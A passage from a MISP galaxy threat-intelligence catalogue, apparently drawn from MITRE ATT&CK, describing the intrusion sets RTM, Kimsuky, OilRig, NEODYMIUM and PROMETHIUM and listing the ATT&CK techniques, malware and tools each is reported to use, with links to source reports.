- uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1559.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 5093. Table References

Links
https://attack.mitre.org/groups/G0084
https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group

RTM - G0048

[RTM](https://attack.mitre.org/groups/G0048) is a cybercriminal group that has been active since at least 2015 and is primarily interested in users of remote banking systems in Russia and neighboring countries. The group uses a Trojan by the same name ([RTM](https://attack.mitre.org/software/S0148)). (Citation: ESET RTM Feb 2017)

The tag is: *misp-galaxy:mitre-intrusion-set="RTM - G0048"*

RTM - G0048 is also known as:

- RTM

View relationships graph

RTM - G0048 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Access Software - T1219" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="RTM - S0148" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1102.001" with estimative-language:likelihood-probability="almost-certain"

Table 5094. Table References

Links
https://attack.mitre.org/groups/G0048
https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf

Kimsuky - G0094

[Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korea-based cyber espionage group that has been active since at least 2012. The group initially focused on targeting South Korean government entities, think tanks, and individuals identified as experts in various fields, and expanded its operations to include the United States, Russia, Europe, and the UN. [Kimsuky](https://attack.mitre.org/groups/G0094) has focused its intelligence collection activities on foreign policy and national security issues related to the Korean peninsula, nuclear policy, and sanctions.(Citation: EST Kimsuky April 2019)(Citation: BRI Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A Kimsuky)

[Kimsuky](https://attack.mitre.org/groups/G0094) was assessed to be responsible for the 2014 Korea

Hydro & Nuclear Power Co. compromise; other notable campaigns include Operation STOLEN PENCIL (2018), Operation Kabar Cobra (2019), and Operation Smoke Screen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb 2019)

North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.

The tag is: *misp-galaxy:mitre-intrusion-set="Kimsuky - G0094"*

Kimsuky - G0094 is also known as:

- Kimsuky
- STOLEN PENCIL
- Thallium
- Black Banshee
- Velvet Chollima

View relationships graph

Kimsuky - G0094 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Adversary-in-the-Middle - T1557" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="NOKKI - S0353" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Custom Method - T1560.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Search Victim-Owned Websites - T1594" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malware - T1587.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Brave Prince - S0252" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="AppleSeed - S0622" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1598.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Accounts - T1586.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Upload Malware - T1608.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Access Software - T1219" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="CSPY Downloader - S0527" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Mail Protocols - T1071.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Server - T1583.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Accounts - T1585.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Addresses - T1589.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Search Engines - T1593.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Employee Names - T1589.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with

estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Email Forwarding Rule - T1114.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Services - T1583.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="KGH_SPY - S0526" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Users - T1564.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Gather Victim Org Information - T1591" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Change Default File Association - T1546.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Transfer Protocols - T1071.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Internal Spearphishing - T1534" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Social Media Accounts - T1585.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Email Collection - T1114.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Gold Dragon - S0249" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Social Media - T1593.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="schtasks - S0111" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="BabyShark - S0414" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Multi-Factor Authentication Interception - T1111" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002" with estimative-

language:likelihood-probability="almost-certain"

* uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Develop Capabilities - T1587" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Exploits - T1588.005" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Domains - T1584.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Local Accounts - T1078.003" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 5095. Table References

Links
https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/
https://attack.mitre.org/groups/G0094
https://blog.alyac.co.kr/2234
https://blog.alyac.co.kr/attachment/cfile5.uf@99A0CD415CB67E210DCEB3.pdf
https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/
https://brica.de/alerts/alert/public/1255063/kimsuky-unveils-apt-campaign-smoke-screen-aimed-at-korea-and-america/
Analysis_ReportOperation%20Kabar%20Cobra.pdf[Analysis_ReportOperation%20Kabar%20Cobra.pdf]
https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/
https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/
https://us-cert.cisa.gov/ncas/alerts/aa20-301a
https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite
https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/

OilRig - G0049

[OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted

Middle Eastern and international victims since at least 2014. The group has targeted a variety of sectors, including financial, government, energy, chemical, and telecommunications. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests.(Citation: Palo Alto OilRig April 2017)(Citation: ClearSky OilRig Jan 2017)(Citation: Palo Alto OilRig May 2016)(Citation: Palo Alto OilRig Oct 2016)(Citation: Unit 42 Playbook Dec 2017)(Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018)

The tag is: *misp-galaxy:mitre-intrusion-set="OilRig - G0049"*

OilRig - G0049 is also known as:

- OilRig
- COBALT GYPSY
- IRN2
- HELIX KITTEN
- APT34

View relationships graph

OilRig - G0049 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="SEASHARPEE - S0185" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="POWRUNER - S0184" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="certutil - S0160" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="ipconfig - S0100" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SSH - T1021.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Tasklist - S0057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-tool="netstat - S0104" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="RDAT - S0495" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="ISMInjector - S0189" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cached Domain Credentials - T1003.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="QUADAGENT - S0269" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Systeminfo - S0096" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="OopsIE - S0264" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1218.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Password Policy Discovery - T1201" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="LaZagne - S0349" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="RGDoor - S0258" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Outlook Home Page - T1137.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Reg - S0075" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="ftp - S0095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Credential Manager - T1555.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="BONDUPDATER - S0360" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="SideTwist - S0610" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Helminth - S0170" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1566.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 5096. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/
http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/
http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/
http://www.clearskysec.com/oilrig/
https://attack.mitre.org/groups/G0049
https://pan-unit42.github.io/playbook_viewer/
https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/
https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/
https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/

https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html
https://www.secureworks.com/research/threat-profiles/cobalt-gypsy

NEODYMIUM - G0055

[NEODYMIUM](https://attack.mitre.org/groups/G0055) is an activity group that conducted a campaign in May 2016 and has heavily targeted Turkish victims. The group has demonstrated similarity to another activity group called [PROMETHIUM](https://attack.mitre.org/groups/G0056) due to overlapping victim and campaign characteristics. (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21) [NEODYMIUM](https://attack.mitre.org/groups/G0055) is reportedly associated closely with [BlackOasis](https://attack.mitre.org/groups/G0063) operations, but evidence that the group names are aliases has not been identified. (Citation: CyberScoop BlackOasis Oct 2017)

The tag is: *misp-galaxy:mitre-intrusion-set="NEODYMIUM - G0055"*

NEODYMIUM - G0055 is also known as:

- NEODYMIUM

View relationships graph

NEODYMIUM - G0055 has relationships with:

- similar: misp-galaxy:microsoft-activity-group="NEODYMIUM" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-malware="Wingbird - S0176" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="NEODYMIUM" with estimative-language:likelihood-probability="likely"

Table 5097. Table References

Links
http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf
https://attack.mitre.org/groups/G0055
https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/
https://www.cyberscoop.com/middle-eastern-hacking-group-using-finfisher-malware-conduct-international-espionage/

PROMETHIUM - G0056

[PROMETHIUM](https://attack.mitre.org/groups/G0056) is an activity group focused on espionage that has been active since at least 2012. The group has conducted operations globally with a heavy emphasis on Turkish targets. [PROMETHIUM](https://attack.mitre.org/groups/G0056) has demonstrated similarity to another activity group called [NEODYMIUM](https://attack.mitre.org/groups/G0055) due to overlapping victim and campaign characteristics.(Citation: Microsoft NEODYMIUM Dec 2016)(Citation: Microsoft SIR Vol 21)(Citation: Talos Promethium June 2020)

The tag is: *misp-galaxy:mitre-intrusion-set="PROMETHIUM - G0056"*

PROMETHIUM - G0056 is also known as:

- PROMETHIUM
- StrongPity

View relationships graph

PROMETHIUM - G0056 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Digital Certificates - T1587.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="StrongPity - S0491" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
